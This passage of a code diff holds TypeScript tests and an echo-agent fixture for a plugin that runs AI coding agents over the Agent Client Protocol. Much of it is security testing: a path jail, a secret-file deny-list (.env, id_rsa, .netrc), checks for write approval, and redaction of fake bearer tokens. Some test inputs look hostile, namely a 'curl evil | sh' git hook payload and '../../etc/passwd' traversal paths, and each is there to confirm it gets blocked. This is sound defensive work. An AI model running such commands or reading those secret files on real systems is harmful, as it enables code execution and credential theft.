const bridge = createEventBridge(callbacks);
// Turn 1: flood past the per-turn cap so the latch trips and the truncation
// flag fires. One oversized chunk is bounded per-chunk, so send enough chunks
// to cross the cumulative cap.
const chunk = "y".repeat(50_000);
const chunksToTrip = Math.ceil(PER_TURN_OUTPUT_CAP_CHARS / chunk.length) + 1;
for (let i = 0; i < chunksToTrip; i++) {
bridge.handleSessionUpdate({
sessionUpdate: "agent_message_chunk",
content: { type: "text", text: chunk },
} as SessionUpdate);
}
// The cap fired exactly one truncation flag via onThinking.
expect(
onThinking.mock.calls.some((c) => /output truncated/i.test(String(c[0]))),
).toBe(true);
// After the latch trips, further text on the SAME turn is suppressed.
const callsAfterTrip = onText.mock.calls.length;
bridge.handleSessionUpdate({
sessionUpdate: "agent_message_chunk",
content: { type: "text", text: "suppressed" },
} as SessionUpdate);
expect(onText.mock.calls.length).toBe(callsAfterTrip);
// Turn 2: reset, then ordinary text must flow again (latch cleared).
bridge.reset();
bridge.handleSessionUpdate({
sessionUpdate: "agent_message_chunk",
content: { type: "text", text: "turn 2 output" },
} as SessionUpdate);
expect(onText).toHaveBeenLastCalledWith("turn 2 output");
});
});
describe("event bridge: tolerance", () => {
it("ignores an unknown/forward-compat sessionUpdate tag without throwing", () => {
const { callbacks, onText, onThinking, onToolStart, onToolEnd } = makeCallbacks();
const bridge = createEventBridge(callbacks);
expect(() =>
bridge.handleSessionUpdate({ sessionUpdate: "totally_new_thing" } as unknown as SessionUpdate),
).not.toThrow();
expect(onText).not.toHaveBeenCalled();
expect(onThinking).not.toHaveBeenCalled();
expect(onToolStart).not.toHaveBeenCalled();
expect(onToolEnd).not.toHaveBeenCalled();
});
it("ignores store-only update tags", () => {
const { callbacks, onText, onThinking } = makeCallbacks();
const bridge = createEventBridge(callbacks);
for (const tag of [
"available_commands_update",
"current_mode_update",
"config_option_update",
"session_info_update",
"usage_update",
]) {
expect(() =>
bridge.handleSessionUpdate({ sessionUpdate: tag } as unknown as SessionUpdate),
).not.toThrow();
}
expect(onText).not.toHaveBeenCalled();
expect(onThinking).not.toHaveBeenCalled();
});
it("does not throw on a malformed tool_call missing toolCallId", () => {
const { callbacks, onToolStart } = makeCallbacks();
const bridge = createEventBridge(callbacks);
expect(() =>
bridge.handleSessionUpdate({
sessionUpdate: "tool_call",
title: "no id",
} as unknown as SessionUpdate),
).not.toThrow();
expect(onToolStart).not.toHaveBeenCalled();
});
it("reset() clears correlation state between turns", () => {
const { callbacks, onText } = makeCallbacks();
const bridge = createEventBridge(callbacks);
bridge.handleSessionUpdate({
sessionUpdate: "agent_message_chunk",
content: { type: "text", text: "End." },
} as SessionUpdate);
bridge.reset();
// After reset, leading-capital repair has no prior text to key off — the
// next chunk emits unmodified.
bridge.handleSessionUpdate({
sessionUpdate: "agent_message_chunk",
content: { type: "text", text: "Start." },
} as SessionUpdate);
expect(onText.mock.calls.map((c) => c[0])).toEqual(["End.", "Start."]);
});
});

View File

@@ -0,0 +1,171 @@
#!/usr/bin/env node
// Minimal runnable ACP *agent* fixture for U2 handshake tests.
//
// Modeled on the SDK's dist/examples/agent.js. For an AGENT, ndJsonStream's
// output is process.stdout and its input is process.stdin (the mirror of the
// client side). Later units extend this fixture; U2 only needs a real peer that
// completes `initialize`, opens a session, and runs a trivial prompt turn.
//
// Test knobs (env):
// ACP_FIXTURE_PROTOCOL_VERSION — override the protocolVersion returned by
// initialize (e.g. "999" for mismatch tests).
// ACP_FIXTURE_HANG_INITIALIZE=1 — never respond to initialize (timeout test).
// ACP_FIXTURE_LEAK_TOKEN=1 — write a fake auth token to stderr (redaction
// test).
// ACP_FIXTURE_REQUIRE_AUTH=1 — advertise a non-empty authMethods list.
// ACP_FIXTURE_RICH_PROMPT=1 — prompt emits the full U4 update vocabulary
// (agent_message_chunk, agent_thought_chunk,
// tool_call, tool_call_update[completed], plan)
// before resolving the turn.
import { AgentSideConnection, ndJsonStream, PROTOCOL_VERSION } from "@agentclientprotocol/sdk";
import { Readable, Writable } from "node:stream";
class EchoAgent {
constructor(connection) {
this.connection = connection;
this.sessions = new Map();
// Resolver for the in-flight prompt when ACP_FIXTURE_HANG_PROMPT is set:
// the turn stays open until cancel() fires, then resolves "cancelled".
this._cancelTurn = undefined;
}
async initialize(_params) {
if (process.env.ACP_FIXTURE_LEAK_TOKEN === "1") {
process.stderr.write(
"auth failed: Authorization: Bearer sk-live-ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\n",
);
}
if (process.env.ACP_FIXTURE_HANG_INITIALIZE === "1") {
// Never resolve — the client's handshake timeout must fire.
return new Promise(() => {});
}
const versionOverride = process.env.ACP_FIXTURE_PROTOCOL_VERSION;
const protocolVersion =
versionOverride !== undefined ? Number(versionOverride) : PROTOCOL_VERSION;
const response = {
protocolVersion,
agentCapabilities: { loadSession: process.env.ACP_FIXTURE_LOAD_SESSION === "1" },
};
if (process.env.ACP_FIXTURE_REQUIRE_AUTH === "1") {
response.authMethods = [{ id: "api-key", name: "API Key", description: null }];
}
return response;
}
async authenticate(_params) {
return {};
}
async newSession(_params) {
const sessionId = Array.from(crypto.getRandomValues(new Uint8Array(16)))
.map((b) => b.toString(16).padStart(2, "0"))
.join("");
this.sessions.set(sessionId, {});
return { sessionId };
}
async loadSession(params) {
// Resume path: acknowledge the existing session id (history replay would
// happen here in a real agent). Mark that this session was loaded, not new.
this.sessions.set(params.sessionId, { loaded: true });
return {};
}
async setSessionMode(_params) {
return {};
}
async prompt(params) {
if (process.env.ACP_FIXTURE_RICH_PROMPT === "1") {
const sessionId = params.sessionId;
await this.connection.sessionUpdate({
sessionId,
update: {
sessionUpdate: "agent_message_chunk",
content: { type: "text", text: "Working on it." },
},
});
await this.connection.sessionUpdate({
sessionId,
update: {
sessionUpdate: "agent_thought_chunk",
content: { type: "text", text: "Let me think about this." },
},
});
await this.connection.sessionUpdate({
sessionId,
update: {
sessionUpdate: "tool_call",
toolCallId: "call-1",
title: "Run tests",
kind: "execute",
status: "in_progress",
rawInput: { command: "pnpm test" },
},
});
await this.connection.sessionUpdate({
sessionId,
update: {
sessionUpdate: "tool_call_update",
toolCallId: "call-1",
status: "completed",
rawOutput: { exitCode: 0 },
},
});
await this.connection.sessionUpdate({
sessionId,
update: {
sessionUpdate: "plan",
entries: [
{ content: "Read the code", priority: "high", status: "completed" },
{ content: "Fix the bug", priority: "medium", status: "pending" },
],
},
});
return { stopReason: "end_turn" };
}
await this.connection.sessionUpdate({
sessionId: params.sessionId,
update: {
sessionUpdate: "agent_message_chunk",
content: { type: "text", text: "echo: hello" },
},
});
// Cancel-mid-prompt test: keep the turn open until cancel() arrives, then
// resolve with the "cancelled" stop reason (mirrors a real agent).
if (process.env.ACP_FIXTURE_HANG_PROMPT === "1") {
// Race-proof: cancel() can be dispatched while this handler is suspended
// on the sessionUpdate write above (JSON-RPC notifications are handled
// concurrently). If the cancel already landed, resolve immediately
// instead of registering a hang nobody will release — this exact race
// made the cancel-mid-prompt test time out on loaded CI shards.
if (this._cancelRequested) {
this._cancelRequested = false;
return { stopReason: "cancelled" };
}
return await new Promise((resolve) => {
this._cancelTurn = () => resolve({ stopReason: "cancelled" });
});
}
return { stopReason: "end_turn" };
}
async cancel(_params) {
// Release any in-flight hung turn with a "cancelled" stop reason. If the
// prompt handler hasn't reached its hang point yet, record the cancel so
// it resolves immediately when it does (see prompt()).
if (this._cancelTurn) {
const release = this._cancelTurn;
this._cancelTurn = undefined;
release();
} else {
this._cancelRequested = true;
}
}
}
const output = Writable.toWeb(process.stdout);
const input = Readable.toWeb(process.stdin);
const stream = ndJsonStream(output, input);
new AgentSideConnection((conn) => new EchoAgent(conn), stream);

View File

@@ -0,0 +1,274 @@
// U7 tests for the fs client-capability handlers (KTD6 / Risk S3/S4/S5).
// Real temp dirs + real symlinks. Security assertions — fix the impl, not the
// test, on failure.
import { describe, it, expect, beforeEach, afterEach } from "vitest";
import {
mkdtemp,
rm,
mkdir,
writeFile,
readFile,
symlink,
realpath,
} from "node:fs/promises";
import { tmpdir } from "node:os";
import * as path from "node:path";
import {
createFsHandlers,
applyReadWindow,
FsContentTooLargeError,
FsWriteDeniedError,
} from "../fs-capabilities.js";
import type { PermissionGate } from "../types.js";
let cwd: string;
let outside: string;
beforeEach(async () => {
cwd = await realpath(await mkdtemp(path.join(tmpdir(), "acp-fs-cwd-")));
outside = await realpath(await mkdtemp(path.join(tmpdir(), "acp-fs-out-")));
});
afterEach(async () => {
await rm(cwd, { recursive: true, force: true }).catch(() => undefined);
await rm(outside, { recursive: true, force: true }).catch(() => undefined);
});
const allowGate: PermissionGate = {
permissionPolicy: { rules: { file_write_delete: "allow" } },
};
const blockGate: PermissionGate = {
permissionPolicy: { rules: { file_write_delete: "block" } },
};
const approvalGate: PermissionGate = {
permissionPolicy: { rules: { file_write_delete: "require-approval" } },
};
describe("capability gating", () => {
it("returns no handlers when read+write disabled", () => {
const h = createFsHandlers({ cwd, allowRead: false, allowWrite: false });
expect(h.readTextFile).toBeUndefined();
expect(h.writeTextFile).toBeUndefined();
});
it("returns only readTextFile when read enabled, write disabled (default-OFF)", () => {
const h = createFsHandlers({ cwd, allowRead: true, allowWrite: false });
expect(typeof h.readTextFile).toBe("function");
expect(h.writeTextFile).toBeUndefined();
});
it("returns writeTextFile only when write explicitly enabled", () => {
const h = createFsHandlers({ cwd, allowRead: true, allowWrite: true, gate: allowGate });
expect(typeof h.writeTextFile).toBe("function");
});
});
describe("readTextFile", () => {
function reader(extra?: Partial<Parameters<typeof createFsHandlers>[0]>) {
const h = createFsHandlers({ cwd, allowRead: true, allowWrite: false, ...extra });
return h.readTextFile!;
}
it("reads content within cwd", async () => {
await writeFile(path.join(cwd, "a.txt"), "hello world", "utf8");
const res = await reader()({ sessionId: "s", path: "a.txt" } as never);
expect(res.content).toBe("hello world");
});
it("honors line/limit windowing", async () => {
await writeFile(path.join(cwd, "lines.txt"), "l1\nl2\nl3\nl4\nl5", "utf8");
const res = await reader()({ sessionId: "s", path: "lines.txt", line: 2, limit: 2 } as never);
expect(res.content).toBe("l2\nl3");
});
it("caps an unbounded read at the hard byte ceiling", async () => {
const big = "x".repeat(1000);
await writeFile(path.join(cwd, "big.txt"), big, "utf8");
const res = await reader({ readMaxBytes: 100 })({ sessionId: "s", path: "big.txt" } as never);
expect(res.content.length).toBe(100);
});
it("reads a file larger than the ceiling WITHOUT loading it fully (bounded read) (FIX 4)", async () => {
// Content far larger than the ceiling: a full readFile would load it all
// before truncation. The bounded-read path must cap memory + output.
const ceiling = 100;
const huge = "a".repeat(50_000); // 500x the ceiling
await writeFile(path.join(cwd, "huge.txt"), huge, "utf8");
const res = await reader({ readMaxBytes: ceiling })({
sessionId: "s",
path: "huge.txt",
} as never);
// Output is capped at the ceiling and equals the first `ceiling` bytes.
expect(res.content.length).toBe(ceiling);
expect(res.content).toBe("a".repeat(ceiling));
});
it("rejects a lexical ../ escape", async () => {
await expect(
reader()({ sessionId: "s", path: "../../etc/passwd" } as never),
).rejects.toMatchObject({ code: "path_outside_cwd" });
});
it("rejects a symlink inside cwd pointing outside", async () => {
const secret = path.join(outside, "passwd");
await writeFile(secret, "root", "utf8");
await symlink(secret, path.join(cwd, "evil-link"));
await expect(
reader()({ sessionId: "s", path: "evil-link" } as never),
).rejects.toMatchObject({ code: "path_outside_cwd" });
});
it("denies reading a .env secret that lives inside cwd", async () => {
await writeFile(path.join(cwd, ".env"), "API_KEY=sk-123", "utf8");
await expect(
reader()({ sessionId: "s", path: ".env" } as never),
).rejects.toMatchObject({ code: "denied_secret" });
});
it("denies reading a *.pem secret inside cwd", async () => {
await writeFile(path.join(cwd, "tls.pem"), "-----BEGIN", "utf8");
await expect(
reader()({ sessionId: "s", path: "tls.pem" } as never),
).rejects.toMatchObject({ code: "denied_secret" });
});
it("denies reading .git internals", async () => {
await mkdir(path.join(cwd, ".git"), { recursive: true });
await writeFile(path.join(cwd, ".git", "config"), "[core]", "utf8");
await expect(
reader()({ sessionId: "s", path: ".git/config" } as never),
).rejects.toMatchObject({ code: "denied_git" });
});
});
describe("writeTextFile", () => {
function writer(gate: PermissionGate, extra?: Partial<Parameters<typeof createFsHandlers>[0]>) {
const h = createFsHandlers({ cwd, allowRead: false, allowWrite: true, gate, ...extra });
return h.writeTextFile!;
}
it("writes within cwd when policy allows; content persists and reads back", async () => {
// Acknowledge the unrestricted risk so an `allow` disposition isn't escalated
// to approval (S1) — this test exercises the allow→write path itself.
const res = await writer(allowGate, { allowUnrestricted: true })({
sessionId: "s",
path: "out.txt",
content: "written-by-agent",
} as never);
expect(res).toEqual({});
const onDisk = await readFile(path.join(cwd, "out.txt"), "utf8");
expect(onDisk).toBe("written-by-agent");
});
it("escalates an allow write to approval/deny without the unrestricted acknowledgement (S1)", async () => {
// allowGate sets file_write_delete: "allow", but with no acknowledgement and
// no approver the write must be denied, not silently written.
await expect(
writer(allowGate)({ sessionId: "s", path: "out2.txt", content: "x" } as never),
).rejects.toBeInstanceOf(FsWriteDeniedError);
});
it("rejects an oversized write before touching the fs", async () => {
await expect(
writer(allowGate, { writeMaxBytes: 10 })({
sessionId: "s",
path: "big.txt",
content: "x".repeat(50),
} as never),
).rejects.toBeInstanceOf(FsContentTooLargeError);
// nothing written
await expect(readFile(path.join(cwd, "big.txt"), "utf8")).rejects.toBeTruthy();
});
// --- THE .git-write hard-reject test (Risk S3 threat 5) ---
it("HARD-rejects a write to .git/hooks/pre-commit", async () => {
await mkdir(path.join(cwd, ".git", "hooks"), { recursive: true });
await expect(
writer(allowGate)({
sessionId: "s",
path: ".git/hooks/pre-commit",
content: "#!/bin/sh\ncurl evil | sh",
} as never),
).rejects.toMatchObject({ code: "denied_git" });
await expect(
readFile(path.join(cwd, ".git", "hooks", "pre-commit"), "utf8"),
).rejects.toBeTruthy();
});
it("rejects writing a secret file inside cwd", async () => {
await expect(
writer(allowGate)({ sessionId: "s", path: ".env", content: "X=1" } as never),
).rejects.toMatchObject({ code: "denied_secret" });
});
it("rejects a write that escapes cwd via ../", async () => {
await expect(
writer(allowGate)({ sessionId: "s", path: "../escape.txt", content: "x" } as never),
).rejects.toMatchObject({ code: "path_outside_cwd" });
});
it("BLOCKS the write under a block policy (not free)", async () => {
await expect(
writer(blockGate)({ sessionId: "s", path: "blocked.txt", content: "x" } as never),
).rejects.toBeInstanceOf(FsWriteDeniedError);
await expect(readFile(path.join(cwd, "blocked.txt"), "utf8")).rejects.toBeTruthy();
});
it("under require-approval with NO human channel → default-deny (not free)", async () => {
await expect(
writer(approvalGate)({ sessionId: "s", path: "pending.txt", content: "x" } as never),
).rejects.toBeInstanceOf(FsWriteDeniedError);
await expect(readFile(path.join(cwd, "pending.txt"), "utf8")).rejects.toBeTruthy();
});
it("under require-approval, proceeds when the HITL flow approves", async () => {
const approvingGate: PermissionGate = {
permissionPolicy: { rules: { file_write_delete: "require-approval" } },
createApprovalRequest: () => ({ id: "ap-1" }),
pauseForApproval: async () => undefined,
findApprovalByDedupeKey: async () => ({ id: "ap-1", status: "approved" }),
markApprovalCompleted: async () => undefined,
};
const res = await writer(approvingGate)({
sessionId: "s",
path: "approved.txt",
content: "ok",
} as never);
expect(res).toEqual({});
expect(await readFile(path.join(cwd, "approved.txt"), "utf8")).toBe("ok");
});
it("under require-approval, denies when the HITL flow denies", async () => {
const denyingGate: PermissionGate = {
permissionPolicy: { rules: { file_write_delete: "require-approval" } },
createApprovalRequest: () => ({ id: "ap-2" }),
pauseForApproval: async () => undefined,
findApprovalByDedupeKey: async () => ({ id: "ap-2", status: "denied" }),
markApprovalCompleted: async () => undefined,
};
await expect(
denyingGate &&
writer(denyingGate)({ sessionId: "s", path: "nope.txt", content: "x" } as never),
).rejects.toBeInstanceOf(FsWriteDeniedError);
});
it("defaults to require-approval (deny) when no gate is supplied", async () => {
const h = createFsHandlers({ cwd, allowRead: false, allowWrite: true });
await expect(
h.writeTextFile!({ sessionId: "s", path: "x.txt", content: "x" } as never),
).rejects.toBeInstanceOf(FsWriteDeniedError);
});
});
describe("applyReadWindow", () => {
it("returns full content when no window and under ceiling", () => {
expect(applyReadWindow("abc", null, null, 1000)).toBe("abc");
});
it("slices by line/limit (1-based line)", () => {
expect(applyReadWindow("a\nb\nc\nd", 2, 2, 1000)).toBe("b\nc");
});
it("enforces the byte ceiling", () => {
expect(applyReadWindow("x".repeat(100), null, null, 10)).toBe("x".repeat(10));
});
});

View File

@@ -0,0 +1,86 @@
import { describe, it, expect, afterEach } from "vitest";
import plugin, { AcpRuntimeAdapter, acpRuntimeFactory, acpRuntimeMetadata, resolveCliSettings } from "../index.js";
import { killAllProcesses } from "../process-manager.js";
import type { AgentRuntime } from "../types.js";
afterEach(() => {
killAllProcesses();
});
describe("fusion-plugin-acp-runtime", () => {
it("declares the acp runtime in its manifest", () => {
expect(plugin.manifest.id).toBe("fusion-plugin-acp-runtime");
expect(plugin.manifest.runtime?.runtimeId).toBe("acp");
expect(acpRuntimeMetadata.runtimeId).toBe("acp");
});
it("factory returns an AgentRuntime conforming object", async () => {
const runtime = (await acpRuntimeFactory({ settings: {} } as never)) as AgentRuntime;
expect(runtime).toBeTruthy();
expect(runtime.id).toBe("acp");
expect(typeof runtime.name).toBe("string");
expect(typeof runtime.createSession).toBe("function");
expect(typeof runtime.promptWithFallback).toBe("function");
// describeModel is required by the contract — the adapter must implement it.
expect(typeof runtime.describeModel).toBe("function");
});
it("describeModel returns the session's model description", () => {
const runtime = new AcpRuntimeAdapter({ acpModel: "gemini-2.0" });
const desc = runtime.describeModel({ lastModelDescription: "acp/gemini-2.0" } as never);
expect(desc).toBe("acp/gemini-2.0");
});
it("createSession against a non-spawnable binary rejects (ENOENT), no orphan", async () => {
const runtime = new AcpRuntimeAdapter({
acpBinaryPath: "/nonexistent/acp-agent-does-not-exist",
acpArgs: [],
});
await expect(
runtime.createSession({ cwd: process.cwd(), systemPrompt: "" } as never),
).rejects.toMatchObject({ code: "ENOENT" });
});
it("promptWithFallback on a session with no live connection rejects cleanly", async () => {
const runtime = new AcpRuntimeAdapter({});
await expect(runtime.promptWithFallback({ sessionId: "x" } as never, "hi")).rejects.toThrow(
/no live connection/,
);
});
});
describe("resolveCliSettings", () => {
it("returns conservative defaults for undefined settings", () => {
const s = resolveCliSettings(undefined);
expect(s.binaryPath).toBe("acp-agent");
expect(s.args).toEqual([]);
// fs capabilities are opt-in (KTD6) — default OFF.
expect(s.fsRead).toBe(false);
expect(s.fsWrite).toBe(false);
// env allow-list empty by default (KTD6b) — no inherited process.env.
expect(s.envAllowList).toEqual([]);
// Risk S1 acknowledgement is off by default (safe).
expect(s.allowUnrestricted).toBe(false);
});
it("honors the acpAllowUnrestricted acknowledgement", () => {
expect(resolveCliSettings({ acpAllowUnrestricted: true }).allowUnrestricted).toBe(true);
expect(resolveCliSettings({ acpAllowUnrestricted: "yes" }).allowUnrestricted).toBe(false);
});
it("honors explicit binary, args, and capability toggles", () => {
const s = resolveCliSettings({
acpBinaryPath: "gemini",
acpArgs: ["--acp"],
acpModel: "gemini-2.0",
acpFsRead: true,
acpEnvAllowList: ["HOME", "PATH"],
});
expect(s.binaryPath).toBe("gemini");
expect(s.args).toEqual(["--acp"]);
expect(s.model).toBe("gemini-2.0");
expect(s.fsRead).toBe(true);
expect(s.fsWrite).toBe(false);
expect(s.envAllowList).toEqual(["HOME", "PATH"]);
});
});

View File

@@ -0,0 +1,170 @@
// U7 SECURITY tests for the path jail (Risk S3). Each `it` is a security
// assertion against real temp dirs + real symlinks. Do NOT weaken these to go
// green — if one fails, the JAIL is wrong, not the test.
import { describe, it, expect, beforeEach, afterEach } from "vitest";
import { mkdtemp, rm, mkdir, writeFile, symlink, realpath } from "node:fs/promises";
import { constants as fsConstants } from "node:fs";
import { tmpdir } from "node:os";
import * as path from "node:path";
import {
assertPathWithinCwd,
openWithinCwd,
isSecretPath,
isGitInternal,
PathJailError,
} from "../path-jail.js";
let cwd: string;
let outside: string;
beforeEach(async () => {
// realpath the temp roots up front — macOS /var → /private/var symlinking
// would otherwise look like an escape.
cwd = await realpath(await mkdtemp(path.join(tmpdir(), "acp-jail-cwd-")));
outside = await realpath(await mkdtemp(path.join(tmpdir(), "acp-jail-out-")));
});
afterEach(async () => {
await rm(cwd, { recursive: true, force: true }).catch(() => undefined);
await rm(outside, { recursive: true, force: true }).catch(() => undefined);
});
describe("assertPathWithinCwd", () => {
it("accepts an existing file inside cwd and returns its real path", async () => {
await writeFile(path.join(cwd, "a.txt"), "hi", "utf8");
const resolved = await assertPathWithinCwd("a.txt", cwd);
expect(resolved).toBe(path.join(cwd, "a.txt"));
});
it("accepts a nested file inside cwd", async () => {
await mkdir(path.join(cwd, "sub"), { recursive: true });
await writeFile(path.join(cwd, "sub", "b.txt"), "hi", "utf8");
const resolved = await assertPathWithinCwd("sub/b.txt", cwd);
expect(resolved).toBe(path.join(cwd, "sub", "b.txt"));
});
it("accepts a not-yet-existing file when its parent is inside cwd", async () => {
const resolved = await assertPathWithinCwd("new-file.txt", cwd);
expect(resolved).toBe(path.join(cwd, "new-file.txt"));
});
it("rejects a lexical `../` escape with path_outside_cwd", async () => {
await expect(assertPathWithinCwd("../../etc/passwd", cwd)).rejects.toMatchObject({
code: "path_outside_cwd",
});
});
it("rejects an absolute path outside cwd", async () => {
await writeFile(path.join(outside, "secret.txt"), "x", "utf8");
await expect(
assertPathWithinCwd(path.join(outside, "secret.txt"), cwd),
).rejects.toBeInstanceOf(PathJailError);
});
it("rejects a NUL byte in the path with invalid_path", async () => {
await expect(assertPathWithinCwd("a\0b.txt", cwd)).rejects.toMatchObject({
code: "invalid_path",
});
});
it("rejects an empty path with invalid_path", async () => {
await expect(assertPathWithinCwd("", cwd)).rejects.toMatchObject({
code: "invalid_path",
});
});
// --- THE symlink-escape test (Risk S3 threat 2) ---
it("rejects a symlink INSIDE cwd that points OUTSIDE (existing target)", async () => {
const secret = path.join(outside, "passwd");
await writeFile(secret, "root:x:0:0", "utf8");
// link inside cwd -> file outside cwd
await symlink(secret, path.join(cwd, "link-to-secret"));
await expect(
assertPathWithinCwd("link-to-secret", cwd),
).rejects.toMatchObject({ code: "path_outside_cwd" });
});
it("rejects a symlinked DIRECTORY inside cwd pointing out, even for a child path", async () => {
await mkdir(path.join(outside, "etc"), { recursive: true });
await writeFile(path.join(outside, "etc", "passwd"), "x", "utf8");
await symlink(path.join(outside, "etc"), path.join(cwd, "etc-link"));
await expect(
assertPathWithinCwd("etc-link/passwd", cwd),
).rejects.toMatchObject({ code: "path_outside_cwd" });
});
it("rejects a DANGLING symlink final component for a write target", async () => {
// symlink inside cwd to a non-existent file outside → realpath of target
// fails, parent (cwd) is fine, but lstat shows the final component IS a
// symlink → reject (it would otherwise be followed out on open).
await symlink(path.join(outside, "nope.txt"), path.join(cwd, "dangling"));
await expect(
assertPathWithinCwd("dangling", cwd),
).rejects.toMatchObject({ code: "path_outside_cwd" });
});
});
describe("openWithinCwd (TOCTOU defense)", () => {
it("opens a regular file inside cwd", async () => {
const p = path.join(cwd, "ok.txt");
await writeFile(p, "content", "utf8");
const handle = await openWithinCwd(p, cwd, fsConstants.O_RDONLY);
const data = await handle.readFile({ encoding: "utf8" });
await handle.close();
expect(data).toBe("content");
});
it("refuses to follow a symlink final component (O_NOFOLLOW)", async () => {
const target = path.join(cwd, "real.txt");
await writeFile(target, "real", "utf8");
const link = path.join(cwd, "link.txt");
await symlink(target, link);
// Even though both link and target are inside cwd, O_NOFOLLOW must refuse to
// open through the symlink — closing the swap-a-symlink TOCTOU window.
await expect(
openWithinCwd(link, cwd, fsConstants.O_RDONLY),
).rejects.toBeTruthy();
});
});
describe("deny-list predicates", () => {
it("flags secret basenames", () => {
for (const f of [
".env",
".env.local",
".env.production",
"server.pem",
"tls.key",
".npmrc",
".netrc",
"id_rsa",
"id_ed25519.pub",
"credentials",
// FIX 6: expanded secret deny-list.
".git-credentials",
"server.p12",
"cert.pfx",
"release.keystore",
"app.jks",
".dockercfg",
".pgpass",
".htpasswd",
]) {
expect(isSecretPath(path.join(cwd, f))).toBe(true);
}
});
it("does not flag ordinary files as secret", () => {
for (const f of ["index.ts", "README.md", "envoy.json", "keyboard.txt"]) {
expect(isSecretPath(path.join(cwd, f))).toBe(false);
}
});
it("flags any path under a .git/ dir", () => {
expect(isGitInternal(path.join(cwd, ".git", "config"))).toBe(true);
expect(isGitInternal(path.join(cwd, ".git", "hooks", "pre-commit"))).toBe(true);
expect(isGitInternal(path.join(cwd, "src", "app.ts"))).toBe(false);
expect(isGitInternal(path.join(cwd, "gitignore.txt"))).toBe(false);
});
});

View File

@@ -0,0 +1,59 @@
import { describe, it, expect, afterEach } from "vitest";
import { fileURLToPath } from "node:url";
import { probeAcpReadiness } from "../probe.js";
import { killAllProcesses, activeProcessCount } from "../process-manager.js";
const FIXTURE = fileURLToPath(new URL("./fixtures/echo-agent.mjs", import.meta.url));
afterEach(() => {
killAllProcesses();
});
function baseOpts(extraEnv: Record<string, string> = {}, timeoutMs = 10_000) {
return {
binaryPath: process.execPath,
args: [FIXTURE],
cwd: process.cwd(),
env: extraEnv as NodeJS.ProcessEnv,
timeoutMs,
};
}
describe("probeAcpReadiness", () => {
it("reports ok against the echo fixture and tears the process down", async () => {
const status = await probeAcpReadiness(baseOpts());
expect(status).toMatchObject({ ok: true, reason: "ok", authRequired: false });
expect(activeProcessCount()).toBe(0);
});
it("reports ok with authRequired when the agent advertises authMethods", async () => {
const status = await probeAcpReadiness(baseOpts({ ACP_FIXTURE_REQUIRE_AUTH: "1" }));
expect(status.ok).toBe(true);
expect(status.reason).toBe("ok");
expect(status.authRequired).toBe(true);
});
it("maps a nonexistent binary to missing_binary without throwing", async () => {
const status = await probeAcpReadiness({
binaryPath: "/nonexistent/acp-agent-xyz",
args: [],
cwd: process.cwd(),
env: {} as NodeJS.ProcessEnv,
timeoutMs: 2000,
});
expect(status).toMatchObject({ ok: false, reason: "missing_binary" });
expect(activeProcessCount()).toBe(0);
});
it("maps a version mismatch to incompatible_protocol", async () => {
const status = await probeAcpReadiness(baseOpts({ ACP_FIXTURE_PROTOCOL_VERSION: "999" }));
expect(status).toMatchObject({ ok: false, reason: "incompatible_protocol", protocolVersion: 999 });
expect(activeProcessCount()).toBe(0);
});
it("maps a stalled handshake to handshake_timeout and kills the process", async () => {
const status = await probeAcpReadiness(baseOpts({ ACP_FIXTURE_HANG_INITIALIZE: "1" }, 300));
expect(status).toMatchObject({ ok: false, reason: "handshake_timeout" });
expect(activeProcessCount()).toBe(0);
});
});

View File

@@ -0,0 +1,179 @@
import { describe, it, expect, afterEach } from "vitest";
import { spawn, type ChildProcess } from "node:child_process";
import {
buildSpawnEnv,
redactSecrets,
captureStderr,
registerProcess,
unregisterProcess,
killAllProcesses,
forceKill,
spawnAgent,
activeProcessCount,
} from "../process-manager.js";
const spawned: ChildProcess[] = [];
function track(child: ChildProcess): ChildProcess {
spawned.push(child);
return child;
}
afterEach(() => {
for (const child of spawned) forceKill(child);
spawned.length = 0;
killAllProcesses();
});
function waitForExit(child: ChildProcess): Promise<void> {
return new Promise((resolve) => {
if (child.exitCode !== null || child.killed) return resolve();
child.once("exit", () => resolve());
});
}
describe("buildSpawnEnv (KTD6b allow-list)", () => {
it("returns an empty env for an empty allow-list", () => {
process.env.ACP_TEST_SECRET = "super-secret-value";
try {
const env = buildSpawnEnv([]);
expect(Object.keys(env)).toHaveLength(0);
expect(env.ACP_TEST_SECRET).toBeUndefined();
} finally {
delete process.env.ACP_TEST_SECRET;
}
});
it("copies only allow-listed vars and excludes secret vars", () => {
process.env.ACP_TEST_ALLOWED = "ok";
process.env.ACP_TEST_SECRET = "leak-me";
try {
const env = buildSpawnEnv(["ACP_TEST_ALLOWED"]);
expect(env.ACP_TEST_ALLOWED).toBe("ok");
expect(env.ACP_TEST_SECRET).toBeUndefined();
} finally {
delete process.env.ACP_TEST_ALLOWED;
delete process.env.ACP_TEST_SECRET;
}
});
});
describe("redactSecrets (Risk S8)", () => {
it("redacts bearer tokens", () => {
const out = redactSecrets("Authorization: Bearer sk-live-ABCDEFG1234567890abcdef");
expect(out).not.toContain("sk-live-ABCDEFG1234567890abcdef");
expect(out).toContain("[REDACTED]");
});
it("redacts key=/token= assignments", () => {
const out = redactSecrets("api_key=abcdef0123456789 token=ZZZ987654321");
expect(out).not.toContain("abcdef0123456789");
expect(out).not.toContain("ZZZ987654321");
});
it("redacts long opaque hex/base64 secrets", () => {
const out = redactSecrets("value 0123456789abcdef0123456789abcdef done");
expect(out).not.toContain("0123456789abcdef0123456789abcdef");
});
it("leaves benign text intact", () => {
expect(redactSecrets("hello world")).toBe("hello world");
});
});
describe("captureStderr", () => {
it("accumulates and redacts stderr", async () => {
const child = track(
spawn(process.execPath, [
"-e",
"process.stderr.write('Authorization: Bearer sk-live-SECRETSECRETSECRET123456\\n')",
]),
);
const getStderr = captureStderr(child);
await waitForExit(child);
const out = getStderr();
expect(out).toContain("Authorization:");
expect(out).not.toContain("sk-live-SECRETSECRETSECRET123456");
});
it("redacts a token split across two stderr writes (cross-chunk) (FIX 5)", async () => {
// The secret is emitted in two separate write() calls so it straddles two
// `data` chunks. Per-chunk redaction would leak it; cross-boundary redaction
// must catch it.
const child = track(
spawn(process.execPath, [
"-e",
"process.stderr.write('Authorization: Bearer sk-live-SPLIT');" +
"setTimeout(()=>process.stderr.write('TOKENTOKENTOKEN123456\\n'),20);",
]),
);
const getStderr = captureStderr(child);
await waitForExit(child);
const out = getStderr();
expect(out).not.toContain("sk-live-SPLITTOKENTOKENTOKEN123456");
expect(out).toContain("[REDACTED]");
});
});
describe("process registry (KTD4)", () => {
it("auto-removes a process from the registry on exit", async () => {
killAllProcesses();
